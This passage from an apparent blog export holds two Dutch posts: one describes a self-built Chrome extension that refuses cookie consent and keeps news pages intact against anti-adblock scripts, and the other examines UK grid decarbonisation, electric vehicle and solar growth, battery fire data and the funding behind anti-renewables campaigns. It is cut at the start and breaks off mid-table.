Continue without accepting alleen heel label, max. 40 tekens past op Accept: de build faalt 2. De API antwoorden: nee __tcfapi elk doel, elke functie en elke leverancier geweigerd tcString \"\" tcloaded 3. Het record nooit opslaan euconsent-v2 addtl_consent OptanonConsent didomi_token cookie- en localStorage- schrijfacties weggegooid Bij de volgende tik nog in beeld? ja: verwijderen, scrollen vrijgeven nee: de weigering blijft staan Drie antwoorden en een terugvaloptie. De weigerknop wordt ingedrukt als die er is, de consent-API krijgt op alles nee, het record wordt nooit opgeslagen, en alleen een banner die bij de volgende tik nog staat wordt verwijderd. Eerst drukt ze op hun weigerknop. Alleen knoppen waarvan het hele label een weigering is: “Reject all”, “Decline”, “Only essential”, “Continue without accepting” en nog een paar, elk verankerd, alles boven 40 tekens genegeerd. Een unittest voert haar “I Accept”, “Accept All”, “Agree and close”, “Allow all”, “Got it”, “Subscribe” en “Pay £2.99/mo” en laat de build falen als er één van overeenkomt. Op de verkeerde knop klikken zou namens jou toestemming geven, en dat is het enige wat dit project nooit mag doen. Op msn.com liet “Reject All” de banner van Microsoft verdwijnen, en hij kwam na herladen niet terug, omdat Microsoft de weigering op de eigen servers bewaart.\nZe beantwoordt de consent-API met nee. Het raamwerk van de IAB geeft elke pagina die toestemming vraagt een functie genaamd __tcfapi om te vragen waarmee je hebt ingestemd17. Waar die bestaat, beantwoordt de extensie haar met elk doel, elke speciale functie en elke leverancier geweigerd, een lege consentstring en eventStatus: 'tcloaded', wat betekent dat het antwoord definitief is. Ze verschijnt alleen waar al een consentraamwerk op de pagina staat, dus een site die nooit vroeg ziet haar niet.\nZe slaat het record nooit op. document.cookie en localStorage laten stil euconsent-v2, addtl_consent, OptanonConsent, didomi_token en de rest vallen, zodat een toestemming die je nooit gaf nooit wordt geschreven en op de volgende pagina nooit wordt doorgespeeld aan 1.467 partners. Het Britse recht vereist hiervoor al toestemming voordat er iets op je apparaat wordt opgeslagen18. De extensie dwingt het nee af.\nElke naam op die lijst is aan beide kanten verankerd, en daar zit een verhaal achter. De cookies van Sourcepoint beginnen met _sp_. Een slordig patroon sp_ pakt ook sp_dc en sp_t van Spotify, de inlogsessie, en zou me op elke pagina bij Spotify hebben uitgelogd. Ook dat legt een test vast.\nVerwijderen is de terugvaloptie. Alleen voor een banner die na de klik nog op het scherm staat, en alleen voor een banner die echt getoond wordt. Verschillende leveranciers laten een permanente omhulling in de pagina staan, of er nu een banner is of niet. euronews houdt een Didomi-host met hoogte nul aan, en die eruit rukken breekt de pagina zonder enige winst. Die van Reach zat drie niveaus onder \u0026lt;body\u0026gt;, in twee omhullingen die zelf niet vastgezet zijn, dus de controle moet afdalen tot het kader dat dat wel is.\nDeelknoppen, en een portaal dat zijn eigen instellingen negeert Nog twee dingen op deze pagina\u0026rsquo;s zijn er om iemand anders dan de lezer te dienen, en ze hadden een andere aanpak nodig dan de muren.\nDeel- en volgknoppen. Elke link naar Facebook, Instagram, X, TikTok of LinkedIn wordt herschreven naar http://localhost/removeme, met het origineel in een attribuut geparkeerd zodat er niets verloren gaat. Daarna verwijdert een tweede ronde wat duidelijk meubilair is (een icoon zonder tekst, “Share on X”, alles in een container die zichzelf share of social noemt) en verbergt de rest. De markering is er zodat één selector alles laat zien wat op het punt staat te verdwijnen, en een modus die alleen markeert stopt na de eerste ronde, zodat je kunt kijken voordat je haar op een site vertrouwt.\nDe naïeve versie breekt pagina\u0026rsquo;s op drie manieren, en elk daarvan is nu een test:\nNaïeve versie Wat die breekt Wat er in plaats daarvan gebeurt a[href*=\u0026quot;x.com\u0026quot;] pakt ook netflix.com, linux.com, phoenix.com de host parsen en hele labels vergelijken elke sociale link verwijderen “Continue with Facebook” verdwijnt en mensen worden buitengesloten inlog-, OAuth-, juridische en ontwikkelaarslinks blijven met rust een link in een zin verwijderen de woorden gaan mee standaard verbergen, een optie pakt hem uit en houdt de woorden Dat laatste is een afweging die ik bewust maakte. Een afsluiting van de BBC leest dan als “follow BBC Manchester on , , and .”. Ik heb dat bekeken en toch voor verbergen gekozen. De optie om de woorden te houden is er voor iedereen die het er niet mee eens is.\nMSN en Bing. Beide draaien op dezelfde web components, zo\u0026rsquo;n 160 shadow roots op de voorpagina. Een gewone query op het document vond 1 link. De shadow roots doorlopen vond er 73, waaronder de tegels van Facebook en X. Wat ze niet doorloopt, ziet er bijna niets van.\nMSN heeft wel eigen inhoudsinstellingen. Die staan op de servers van Microsoft, gekoppeld aan een anonieme ID, niet in een cookie, dus ze zijn weg na het wissen van cookies, in een nieuw profiel en in incognito. Bing bereiken ze helemaal niet. En met elk ervan uit en na 11.700 pixels scrollen stond dit nog in de feed:\nEigen schakelaar van MSN, uit Nog op de pagina Casual Games de spelletjestegel Shopping advertentietegels voor Booking, Temu en eBay Comments 501 reactielinks Weather, Finance, Sports weg, tot de volgende keer cookies wissen Een schakelaar met het label Comments die 501 reactielinks op de pagina laat, is een bewering tegenover de gebruiker, en een onware. Dus haalt de extensie ze er zelf uit, gericht op de stabiele componentnamen van MSN in plaats van de klassenamen, die bij elke build veranderen.\nEén ding dat ik daar leerde en dat ver buiten MSN geldt: een afbeelding uit de pagina halen houdt het laden niet tegen. Chrome begint met ophalen zodra src wordt gezet, zelfs voor een afbeelding die nooit in de pagina wordt geplaatst19. Tegen de tijd dat een content script een kaart ziet, is de miniatuur al onderweg. Dus worden de feedgegevens geblokkeerd bij de twee eindpunten die ze leveren, en nooit de afbeeldingshosts, omdat th.bing.com ook de afbeeldingenzoekfunctie van Bing bedient.\nEn de MSN-feed flitst nog steeds even op het scherm voordat hij verdwijnt. Vier pogingen om hem eerder te verbergen werden allemaal als werkend gemeten, en geen enkele stopte het flitsen, wat betekent dat wat getekend wordt niet is wat de extensie verbergt. De instellingenpagina zegt dat ronduit. Liever zegt ze dat dan dat ze een schone laadbeurt suggereert die ze niet levert.\nWat ze niet doet Ze zal niet Omdat een echte paywall openen als de server het artikel achterhoudt, blijft het achtergehouden gokken bij een site een domein komt er pas in als de muur daar gezien is; twee sites van News Corp waarvan werd aangenomen dat ze op Page Six leken, deden dat niet en gingen er weer uit een site zonder handtekening aanraken op de BBC is elke hook geïnstalleerd en wordt niets gelogd, geen timer geschrapt, geen knoop aangeraakt naar huis bellen geen hostrechten, geen netwerktoegang, geen telemetrie; het foutenlogboek blijft in je browser doen alsof het MSN-flitsen is onopgelost, en één Ad-Shield-variant, wp-ls/…, past nog niet; de pagina ervan werd prima weergegeven, dus het is opgeschreven in plaats van op de gok gerepareerd Een pagina die je is toegestuurd, is van jou Zodra een server je browser een pagina heeft gestuurd, staat die kopie op jouw machine. Er daarna code op draaien om haar weer af te pakken, is geen verdienmodel dat ik erken. Het is de oude truc van je iets verkopen en er de hand op houden.\nKranten waren vroeger iets wat je kocht en daarna bezat: iemand op de straathoek had een stapel, je gaf het geld, en de krant ging met je mee naar huis en was van jou, om te lezen, te vouwen, uit te lenen of de kachel mee aan te maken. Niemand kwam een uur later langs om de tweede pagina eruit te knippen omdat je de advertenties had overgeslagen. De webversie gaf de krant voor niets weg en verkocht daarna de lezer. Eerst aan de adverteerders, dan aan de 1.467 partners, en nu aan een leverancier wiens hele product bestaat uit beslissen of je je goed genoeg hebt gedragen om te houden wat je gegeven is.\nWaar ik niet overheen kom, is het stylesheet. Een krant die de server van een advertentiebedrijf laat beslissen of haar eigen opmaak overleeft, heeft haar eigen voorpagina weggegeven. Ze zal het niet geweten hebben, omdat binnen niemand de host blokkeerde, dus de eerste die het merkte was een lezer met een Pi-hole, starend naar een pagina vol kale links, die van een dialoogvenster te horen kreeg dat de fout bij hem lag. Dat was niet zo.\nJournalistiek heeft een prijs, en die betaal ik zonder moeite. Wat ik niet doe, is een script laten beslissen wat ik al heb. Die grens wordt getrokken in mijn browser, niet in de hunne.\nPi-hole documentation — “The Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNewsquest — About us — “We are the leading local news publisher in the UK with a portfolio of more than 200 brands.” Merken zijn geen domeinen, vandaar het hogere aantal uit de certificaten.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDaily Business, 18 december 2024 — “National World, owner of The Scotsman and Yorkshire Post, has reached agreement on a £65.1 million takeover by Irish publisher Media Concierge.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nReach plc — About us, gearchiveerd op 5 september 2026 — “120+ brands, from household names like the Mirror, Express, Daily Record and Daily Star, to local titles like MyLondon, BelfastLive and the Manchester Evening News”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDimova et al., “The CNAME of the Game: Large-scale Analysis of DNS-based Tracking Evasion”, PETS 2021 — CNAME-cloaking “effectively bypasses antitracking measures that rely on fixed hostname-based block lists.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nuBlockOrigin/uAssets, issue #30988, door de beheerders onder het label “Ad-Shield” geplaatst, met de melding geserveerd vanaf error-report.com: “Failed to load website properly since html-load.com is blocked.” Zie ook Jacob Desforges, “Ad-Shield ad reinsertion”, 12 april 2026. De toeschrijving komt van de filterlijstgemeenschap; de leverancier maakt niets bekend.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSourcepoint — Anti-adblock FAQs, gearchiveerd op 25 mei 2022 — “Historical experience shows on average about 30% of messaged users will turn off their adblockers.” Dezelfde pagina vraagt of “a CNAME applied to a 1st-party subdomain” zou voorkomen dat het detectiescript geblokkeerd wordt.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nAdExchanger, 16 augustus 2023 — “InMobi acquired Quantcast’s consent management platform, called Quantcast Choice”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUK GDPR, Article 7 — “utmost account shall be taken of whether, inter alia, the performance of a contract, including the provision of a service, is conditional on consent”. Overweging 42: toestemming is niet vrij gegeven “if the data subject has no genuine or free choice”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nICO — Consent or pay, gepubliceerd op 23 januari 2025 — ““Consent or pay” models can be compliant with data protection law if you can demonstrate that people can freely give their consent”. De pagina zegt nu dat de richtsnoeren worden herzien na de Data (Use and Access) Act.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEDPB Opinion 08/2024, aangenomen op 17 april 2024 — “In most cases, it will not be possible for large online platforms to comply with the requirements for valid consent if they confront users only with a binary choice”. Het gaat over grote onlineplatforms, niet over regionale kranten.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — content_scripts manifest key — “Choosing the \u0026ldquo;MAIN\u0026rdquo; world means the script will share the execution environment with the host page\u0026rsquo;s JavaScript.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nECMAScript — CreateGlobalVarBinding — “If a binding already exists, it is reused and assumed to be initialized.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — declarativeNetRequest — “provides implicit access to allow , allowAllRequests and block rules”, en anders “you must request host permissions before you can perform any action on a host.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nChrome for Developers — declarativeNetRequest — “Errors and warnings about invalid static rules are only displayed for unpacked extensions. Invalid static rules in packed extensions are ignored.”\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHTML Standard — the Location interface markeert zijn leden als [LegacyUnforgeable], wat in Web IDL betekent: “the property will be non-configurable and will exist as an own property on the object itself”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIAB Tech Lab — TCF v2 CMP API — “Every consent manager MUST provide the following API function: __tcfapi(command, version, callback, parameter)”.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPECR, regulation 6 — “a person must not store information, or gain access to information stored, in the terminal equipment of a subscriber or user”, met toestemming als voorwaarde in Schedule A1, gewijzigd door de Data (Use and Access) Act 2025.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHTML Standard — update the image data — draait “whenever that element is created or has experienced relevant mutations”, ook wanneer de src wordt gezet; in het document staan is geen voorwaarde.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/random/the-news-site-sent-me-the-article-then-deleted-it/","summary":"Newsquest, National World, Reach en anderen sturen je browser het complete artikel met stylesheets en draaien daarna commerciële anti-adblock- en consentcode die de pagina leegmaakt, elke 100ms elk stylesheet verwijdert of haar afdekt met de keuze tussen 1.467 trackingpartners en £2,99 per maand. Dit stuk laat zien wat die code doet, de vier redenen waarom ik het malware noem, en de Chrome-extensie die ik op één dag bouwde om de pagina te houden: de adLight-vlag van Newsquest vastzetten voordat de muur ontstaat, de timers laten vallen die vanuit eval gepland worden, de stylesheet-stripper al bij het inplannen doden, en toestemming netjes weigeren door de TCF-API met nee te beantwoorden, op de eigen weigerknop van de leverancier te drukken en het record nooit op te slaan. Daarna de fixes die het erger maakten, de meting die een kapotte pagina goedkeurde, deelknoppen en de MSN-feed, en wat de extensie niet doet.","title":"De nieuwssite stuurde me het artikel en verwijderde het daarna"},{"content":"Van kolen naar nul in veertien jaar Op het National Grid-dashboard van Kate Morley kun je het venster instellen en de cijfers zien bewegen.1 De dataset begint in 2012, wat toevallig het hoogtepunt van de kolen was, dus de kolom over de hele periode is de complete schoonmaak in één getal.\nHele periode (2012–) Afgelopen jaar Afgelopen week Afgelopen dag CO₂-intensiteit 251 g/kWh 124 g/kWh 98 g/kWh 67 g/kWh Kolen 12,4% 0,0% 0,0% 0,0% Gas 33,5% 27,0% 21,2% 15,9% Wind 19,5% 34,8% 46,0% 64,1% Zon 3,7% 7,4% 8,3% 11,1% Kernenergie 18,3% 12,0% 12,0% 12,9% Fossiel totaal 45,8% 27,0% 21,2% 15,9% Hernieuwbaar totaal 24,4% 43,6% 55,8% 76,6% Vraag 32,6 GW 30,9 GW 28,4 GW 25,8 GW Prijs £70,13/MWh £92,77/MWh £125,01/MWh £27,18/MWh Wind is nu de grootste enkele bron van elektriciteit in Groot-Brittannië. 34,8% over een vol jaar, tegen gas op 27% en kernenergie op 12%. Niet op een goede dag. Twaalf maanden.\nKolen staat op nul. Niet laag. Nul, een jaar lang. De laatste centrale ging op 30 september 2024 dicht, honderdtweeënveertig jaar nadat de eerste ter wereld in januari 1882 in Londen openging, wat betekent dat dit land kolenstroom uitvond en er vervolgens het grootste deel van anderhalve eeuw over deed om hem weer uit te zetten.1 De CO₂-intensiteit is gehalveerd tegenover het veertienjaarsgemiddelde, van 251 naar 124. De helft, in veertien jaar.\nDe vraag die zoekraakte Kijk nog eens naar de regel met de vraag. 32,6 GW over het lange gemiddelde, 30,9 over het afgelopen jaar. Hij daalt al twintig jaar, ongeveer 5 TWh per jaar sinds 2005.\n2005 2023 Vraag huishoudens 126 TWh 93 TWh Vraag industrie 117 TWh 86 TWh Gemiddeld huishouden 4.662 kWh (2007) 3.449 kWh Huishoudens leverden in die periode 33 TWh in terwijl het land anderhalf miljoen elektrische auto\u0026rsquo;s en een kwart miljoen warmtepompen aansloot.2 De ecodesign-regels van de EU deden veel van dat werk; alleen al de verlichtingsvoorschriften bespaarden in 2020 EU-breed 81 TWh.3 Efficiëntie ving de elektrische auto\u0026rsquo;s niet alleen op, ze overspoelde ze.\nTwee kanttekeningen, want deze wordt graag overdreven. De industriële vraag daalde ook, van 117 TWh naar 86, en dat zijn vooral fabrieken die dichtgingen en niet fabrieken die slim werden. En de daling is voorbij. 2024 was het eerste jaar in bijna twee decennia dat de vraag weer omhoogging.2\nDe auto\u0026rsquo;s die het zouden slopen Hier is het wagenpark dat het net heeft opgenomen, rechtstreeks uit de registratietabellen van de DVLA. Batterij-elektrische voertuigen die eind elk jaar in Groot-Brittannië geregistreerd stonden.4\nJaar Auto\u0026rsquo;s Bestelwagens Bussen Vrachtwagens Motoren Totaal 2015 20.472 4.786 194 314 917 26.756 2017 41.222 6.401 303 283 1.046 49.334 2019 89.581 10.479 504 269 2.790 103.724 2021 374.597 28.245 1.295 331 9.118 413.908 2023 916.576 64.988 3.188 732 14.142 1.000.092 2024 1.266.421 84.959 4.821 983 14.039 1.371.779 2025 1.708.499 111.837 7.450 1.472 13.460 1.843.395 De auto\u0026rsquo;s zijn in tien jaar drieëntachtig keer over de kop gegaan, het hele park negenenzestig keer. Het miljoenste elektrische voertuig landde eind 2023 op 1.000.092, wat ongeveer zo dicht op de neus is als een statistiek ooit komt. Dat had niemand gepland.\nDrie dingen in die tabel die je niet in een krantenkop ziet.\nVrachtwagens zijn nauwelijks begonnen. 1.472 elektrische vrachtwagens in heel Groot-Brittannië, en het aantal daalde zelfs tussen 2015 en 2020, tot 253. Auto\u0026rsquo;s waren altijd het makkelijke deel. Dit is het moeilijke deel en het is nog niet echt begonnen.\nElektrische motoren gaan achteruit. 14.142 in 2023, toen 14.039, nu 13.460. Twee jaar daling, de enige categorie die krimpt terwijl al het andere zich opstapelt.\nDe percentages worden trager en het plaatwerk niet. De groei van auto\u0026rsquo;s was 114% in 2020 en 35% in 2025. Maar 2025 zette 442.000 auto\u0026rsquo;s op de weg tegen 350.000 in 2024. Een dalend percentage van een groot getal verslaat nog steeds een groot percentage van een klein getal.\nVoor waar dit heen gaat: de Future Energy Scenarios 2025 van NESO zetten Groot-Brittannië in 2050 op 31 miljoen elektrische voertuigen onder Holistic Transition, 33,4 miljoen onder Electric Engagement en 36,1 miljoen onder Hydrogen Evolution.5 De 1,84 miljoen van vandaag is ongeveer zes procent van de weg.\nEén detail uit die scenario\u0026rsquo;s is het noteren waard: de flexibiliteit uit slim laden daalde dit jaar, van 16 GW naar 10 GW. Grotere accu\u0026rsquo;s betekenen minder maar langere laadbeurten, en minder om mee te schuiven.5\nDe vraag die nooit is komen opdagen Er is trouwens nog iets dat de vraag omlaag duwt, en het is geen efficiëntie.\nZelfverbruik Zon, zonder accu 30–40% Zon plus accu 80–90%6 Twee miljoen zonne-installaties in het Verenigd Koninkrijk inmiddels, samen 22,3 GW, en meer dan 30% van de nieuwe systemen gaat erin met een accu tegen 10% vijf jaar geleden.6 Zet opslag achter de panelen en het meeste van wat het dak maakt komt nooit langs de meter.\nDie energie is niet bespaard. Ze wordt alleen niet meer geteld. De meter is het enige dat veranderde.\nJaar Toegevoegd zonvermogen 2021 ~0,4 GW 2022 ~0,5 GW 2023 1,9 GW 2024 2,3 GW 2025 2,6 GW Zes keer zoveel in vijf jaar, en de vorm vertelt je waarom. 2021 en 2022 waren vlak. Toen kwamen de rekeningen, mensen rekenden het uit, en zon hield op een milieukeuze te zijn en werd een financiële.\nOns huis staat ergens in die tabel. Negen kilowatt op het dak, dertig kilowattuur accu eronder, twee auto\u0026rsquo;s en de airco die de opbrengst overdag opdrinken. Vanuit het gezichtspunt van National Grid krimpt dit adres al jaren stilletjes. Vanuit het gezichtspunt van de natuurkunde niet. De energie verscheen alleen niet meer op iemands grafiek.\nDe oorlog tegen wat wél werkte Niets van het bovenstaande gebeurde per ongeluk, en er loopt een poging om de rest te stoppen.\nReform nam in mei 2025 tien Engelse gemeenteraden over en zei dat het “every lever” zou gebruiken om nieuwe wind-, zonne- en accuprojecten te blokkeren. Carbon Brief zette het bedrag aan risico op ongeveer 6 GW: 5.076 MW aan accuprojecten, 786 MW zon en 56 MW wind in die tien gebieden.7 De energiewoordvoerder van de partij schreef ontwikkelaars in Lincolnshire dat “this is war”, en stuurde formeel bericht aan de bestuursvoorzitters van SSE Renewables, Octopus Energy, Centrica en Equinor dat een Reform-regering hun contracten zou verscheuren.7\nDe claim over landbouwgrond getoetst De opgegeven reden is landbouwgrond en voedselzekerheid. Die claim is toetsbaar, dus laten we hem toetsen.\nGrondgebruik Oppervlak Aandeel van het VK Zon op de grond, september 2024 21.200 ha ~0,1%8 Hetzelfde, per satelliet gemeten 15.580–17.364 ha 0,06–0,07%9 Golfbanen 125.000 ha ~0,5%10 70 GW zon tegen 2035 n.v.t. onder 1% van de landbouwgrond10 Zon beslaat ongeveer een tiende van een procent van dit land. Golf beslaat ruwweg vijf keer zoveel, en in al die jaren dat iemand zich hardop zorgen maakte over de Britse voedselzekerheid heeft nog nooit iemand een golfclub geschreven om die de oorlog te verklaren. Geen enkele brief.\nEr ligt een echt argument onder het lawaai, en dat verdient het om duidelijk gezegd te worden. CPRE vond dat 59% van Engelands grootste zonneparken op productieve landbouwgrond ligt, en dat 31% van dat oppervlak is ingedeeld als beste en meest veelzijdige grond.11 De kwaliteit van de grond is een terecht punt. De hoeveelheid niet, en het is het hoeveelheidsargument dat wordt gemaakt.\nEn kijk nog eens naar wat er echt in die 6 GW zit. Zon is er 786 MW van. Accu\u0026rsquo;s zijn 5.076 MW, meer dan vier vijfde van het vermogen waarover gevochten wordt.7 Het landbouwargument is gericht op het kleinere getal. Opslag is het echte doelwit, en opslag verbouwt niets.\nDe claim over brand getoetst Accuprojecten worden geweigerd op brandrisico. Niet alleen waar Reform het voor het zeggen heeft, eerlijk is eerlijk. Dit is brede lokale weerstand in plaats van de campagne van één partij, en het werkt. Meer dan 900 bezwaren tegen een project bij Allerton Bywater in Leeds. Een locatie in de groene gordel bij Eaglesham afgewezen uit angst voor lithiumbrand na 250 bezwaren. Een project van 49,9 MW in Devon geweigerd tegen het advies van de eigen planologisch ambtenaar in.12\nZet de branden dus naast de bezwaren.\nAantal Netaccubranden in het VK, ooit 3 bekend13 Zuid-Korea, cluster 2017–2019 2814 Mondiale incidentendatabase van EPRI, sinds 2011 ~95 vermeldingen14 Bezwaren tegen één project in Leeds 900+12 Eén bouwaanvraag in Leeds trok meer bezwaren dan er sinds 2011 waar ook ter wereld netaccubranden zijn geregistreerd. Drie in dit land, ooit. Eén daarvan was een locatie die nog in aanbouw was.13\nEn 27 van de 30 incidenten wereldwijd in 2018 en 2019 waren in Zuid-Korea. Eén nationaal cluster, erg genoeg om hun opslagmarkt stil te leggen, en de reden dat de database überhaupt bestaat.14 Haal die eruit en het mondiale beeld wordt nog dunner.\nOndertussen is het percentage ingestort. Het aantal storingen per jaar is ongeveer gelijk gebleven terwijl de uitrol ging van 11 GWh in 2018 naar ruim 300 GWh in 2024. Dat is een daling van 99% in het storingspercentage per geïnstalleerde eenheid, omdat de normen bijtrokken.14 In 2024 had 0,3% van de projecten een storing die leidde tot een brand met veiligheidszorgen.14 Dat heb ik doorgenomen, samen met de brand in Moss Landing die iedereen aanhaalt, in het stuk over verloren energie.\nEn dan is er nog waarom ze falen, en dat is het stuk dat de discussie zou moeten beëindigen.\nGrondoorzaak Aandeel van de storingen Integratie, montage en bouw 36%15 Bedrijfsvoering 29% Ontwerp 21% Fabricagefout 4% 89% van de incidenten begint helemaal niet bij de accu.15 Slechts drie in de hele database gaan terug op een cel- of moduledefect. Wat er echt misgaat is de rest van het systeem: de gelijkstroom- en wisselstroombekabeling, de klimaatinstallatie, de brandblussing zelf. En 72% van de storingen gebeurt tijdens de bouw, de inbedrijfstelling, of binnen de eerste twee jaar.15\nHet is dus niet de chemie. Het is de montage. Ondermaatse montage, bij de installatie afgesneden bochten, inbedrijfstelling met de bewaking nog niet live, zodat een lek of een isolatiefout de tijd krijgt om uit te groeien tot iets waar een brandweerwagen voor nodig is voordat er ergens binnen gehoorafstand van een mens één alarm is afgegaan. Slecht vakwerk, met andere woorden.\nDat doet ertoe omdat het verandert wat het antwoord is. Als lithium van nature geneigd was om in vlammen op te gaan, had je gelijk om het uit het dorp te houden. Dat is het niet. Dit is een probleem van vakkwaliteit en inspectie, en dat is precies het soort ding dat we al weten op te lossen. Net als bij elke andere elektrische installatie: fatsoenlijke normen, fatsoenlijke oplevering, iemand die verstand van zaken heeft en het werk controleert.\nWat terugbrengt bij de planningsregels, waar een echt gat zit dat het dichten waard is. Gemeenten hebben geen wettelijke plicht om de brandweer te raadplegen over een BESS-aanvraag, dus eisen sommige een volledig brandveiligheidsplan en behandelen andere veiligheid als iets dat helemaal buiten de planning valt.12\nHet bezwaar is “deze dingen vatten vlam”. De data zegt dat slecht gemonteerde dingen vlam vatten. Het ene is een argument om een vergunning te weigeren. Het andere is een argument om de bouw te inspecteren. Dicht het gat en je neemt het argument weg. Laat het open en het blijft er als argument dienen.\nHet is het zeggen waard dat niets ervan tot nu toe bijzonder goed heeft gewerkt. Een jaar later hebben die gemeenten gemerkt dat grote zonneparken blokkeren makkelijker gezegd is in een persbericht dan gedaan in een welstandsvergadering, en verschillende projecten gingen toch door.7\nVolg het geld Wat betreft waar het script vandaan komt: de financiering ligt vast.\nGroep Geld binnen Van Heartland Institute $676.000+ (1998–2007) ExxonMobil16 Heartland Institute verdere, niet openbaar gemaakte bedragen aan Koch gelieerde stichtingen16 GWPF / Net Zero Watch $500.000+ een aan Koch gelieerd fonds17 GWPF / Net Zero Watch $210.525 Sarah Scaife Foundation, via haar Amerikaanse tak17 Heartland is een Amerikaanse klimaatontkennersclub die een Britse tak opende, met Nigel Farage als eregast bij de lancering.16 De Global Warming Policy Foundation voert hier campagne als Net Zero Watch, een geregistreerde liefdadigheidsinstelling die haar campagnes via een privébedrijf laat lopen.17\nAmerikaans fossiel geld, Amerikaanse praatpunten, een Britse partij die ze herhaalt over een techniek waar dit land aantoonbaar goed in is. De puntjes mag je zelf verbinden.\nDe praatpunten komen met een president eraan vast.\nDe bewering Wat het bewijs zegt Turbinegeluid veroorzaakt kanker Volledig ongefundeerd. Geen enkel bewijs dat het geluid de gezondheid schaadt.18 Wind op zee doodt walvissen NOAA en de National Marine Fisheries Service vinden geen wetenschappelijk bewijs. Strandingen komen door aanvaringen met schepen, vistuig en warmer water.18 Ze maken levert “tremendous fumes” op Een turbine verdient de energie voor haar bouw in 5 tot 8 maanden terug. Wind stoot 37× minder CO₂ uit dan gas en 77× minder dan kolen.19 Bij die laatste is het stilstaan waard, want hij keert netjes om. Wind heeft de kleinste CO₂-voetafdruk van alle opwektechnieken die het Amerikaanse ministerie van Energie meet.19 De medianen van het IPCC zetten wind op land op 11 g/kWh en kolen op 820. Dat heb ik uiteengezet in het stuk over verloren energie. Datgene wat ervan wordt beschuldigd vervuiling te maken, is het ding dat er het minste van maakt.\nDie over de vogels begint tenminste bij iets waars, dus zet hem naast de andere dingen die vogels doden.\nOorzaak van vogelsterfte in de VS Per jaar Windturbines 140.000–330.00018 Gebouwen ~600 miljoen18 Katten 2 miljard+18 Turbines zijn goed voor zoiets als één vogel op zesduizend. Niemand is ooit op televisie geweest over katten. Katten zijn blijkbaar prima.\nEn de dierenwelzijnslijn kwam niet van iemand die vogels kijkt. Hij werd gecoördineerd door een conservatieve denktank die werd gefinancierd door een brancheorganisatie gesteund door ExxonMobil, Chevron en Marathon Oil.18 Hetzelfde geld als in de tabel hierboven, andere bezorging.\nWat het derde kanaal is. Denktanks schrijven het, kranten drukken het, en het wordt online massaal rondgepompt. Een onderzoek van Brown University vond dat botaccounts verantwoordelijk waren voor bijna 40% van de tweets die klimaatwetenschap nep noemen.20 Ik zou niet beweren te weten wie ze draait, en dat onderzoek gaat over klimaatontkenning in het algemeen en niet over Britse zonne-energie in het bijzonder. Maar het patroon houdt stand van welke kant je het ook oppakt: de beweringen zijn onjuist, ze zijn oud, en er is voor betaald.\nDezelfde taal spreken Hier is het stuk dat volgens mij wordt gemist. Vraag je af waarom Heartland een tak in Londen opende en niet in Lyon of Leipzig.\nOmdat het hier werkt zoals het geschreven is. Geen vertaling, geen lokalisatie, geen aanpassing van het argument aan een land dat in metrische eenheden meet en zijn huizen op een warmtenet verwarmt. Het persbericht landt in het Engels en draait dezelfde dag.\nEr zit een in kaart gebrachte structuur achter, niet alleen een gedeelde woordenschat.\nDe brug Atlas Network, Washington DC steunt 450+ organisaties in 90+ landen21 Gefinancierd via Donors Trust en de Charles Koch Foundation21 55 Tufton Street, Westminster GWPF, het IEA, TaxPayers\u0026rsquo; Alliance, Centre for Policy Studies, Adam Smith Institute, Civitas21 Door DeSmog in kaart gebrachte VS-VK-verbindingen ~2.00021 Klimaatontkenners doken in september 2025 in aantallen op bij het Reform-congres.21 Voor niets daarvan hoefde één woord vertaald te worden.\nEn het verkeer gaat twee kanten op. Britse extreemrechtse Telegram-kanalen zijn gedocumenteerd terwijl ze desinformatie over de integriteit van Amerikaanse verkiezingen versterkten. Dezelfde pijp, de andere kant op gericht.22 Onderzoekers beschrijven hoe Engelstalige publicaties verhaallijnen zetten die vervolgens worden opgepikt en herhaald door media in andere talen, wat ons vooraan in de rij zet in plaats van achteraan.22\nEen Franse of Duitse lezer krijgt een vertraging en een vertaler, en vertalen is een filter. Iemand moet besluiten dat de bewering het dragen waard is, en hem ver genoeg controleren om er zijn eigen naam onder te zetten. Wij krijgen hem rauw, op de snelheid van een retweet, uit een mediamarkt die veertig keer zo groot is als de onze en die we toch al voor ons vermaak consumeren.\nDat is de echte kwetsbaarheid. Niet dat Amerikanen over hun eigen net ruziën. Dat mogen ze zelf weten. Het is dat wij er elk woord van horen, in onze eigen taal, over ons net, van mensen die het nooit gezien hebben.\nGoedkope CO₂, dure stroom Eén ding is niet verbeterd. Elektriciteit kostte het afgelopen jaar gemiddeld £92,77/MWh tegen £70,13 over de hele dataset. Ongeveer een derde duurder, terwijl de CO₂ halveerde.1\nJe zult gelezen hebben dat hernieuwbaar de reden is. Je zult het vaak gelezen hebben.\nBritse landelijke pers, 2025 Hoofdredactionele stukken tegen hernieuwbaar 4223 Eerste jaar dat die de positieve overtroffen sinds 201423 Rechtse klimaatcommentaren die klimaatbeleid afwijzen 81%23 Kritische commentaren die openen op kosten 86%23 Het argument is dus de kosten. Geen vogels, geen landschap, geen onregelmatigheid. Kosten, in zeven van de acht.\nHet dashboard beslecht die, want het publiceert prijs en mix elk halfuur samen. Hier is 20 september 2026, vanaf theetijd.1\nTijd Prijs Gas Aandeel gas CO₂ Zon Wind 16:00 −£19,03 2,85 GW 11,3% 71 g/kWh 6,33 11,30 16:30 £38,19 3,74 GW 15,1% 88 g/kWh 5,19 10,84 17:00 £103,70 4,46 GW 18,3% 109 g/kWh 